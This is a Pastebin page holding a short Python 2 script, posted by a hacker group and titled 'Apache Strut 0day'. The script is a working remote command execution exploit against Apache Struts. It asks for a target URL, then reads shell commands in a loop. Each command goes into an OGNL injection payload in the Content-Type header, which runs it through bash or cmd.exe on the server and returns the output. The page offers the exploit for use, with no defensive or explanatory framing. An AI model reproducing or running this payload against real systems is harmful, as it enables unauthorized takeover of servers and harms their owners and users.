Advertisement
Guest User

Apache Strut 0day #Code

a guest
Mar 14th, 2017
5,726
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.56 KB | None | 0 0
  1. import urllib2
  2. #Witch3r
  3. #GhostSquadHackers
  4. print"""
  5. _____             _          _____ _           _      ___   _
  6. |  _  |___ ___ ___| |_ ___   |   __| |_ ___ _ _| |_   |   |_| |___ _ _
  7. |     | . | .'|  _|   | -_|  |__   |  _|  _| | |  _|  | | | . | .'| | |
  8. |__|__|  _|__,|___|_|_|___|  |_____|_| |_| |___|_|    |___|___|__,|_  |
  9.      |_|                                                         |___|
  10.                                            x33p & X3n0x
  11. """
  12. chk=raw_input('Enter URL : ')
  13. cmd='Witch3r'
  14. while(cmd):
  15.     cmd=raw_input('$Shell:')
  16.     exp = "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + " && echo witch3r').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
  17.     req = urllib2.Request(chk, headers={'User-Agent': 'Mozilla/5.0', 'Content-Type': exp})
  18.     con=urllib2.urlopen(req).read()
  19.     end=con.find('witch3r')
  20.     print con[0:end]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement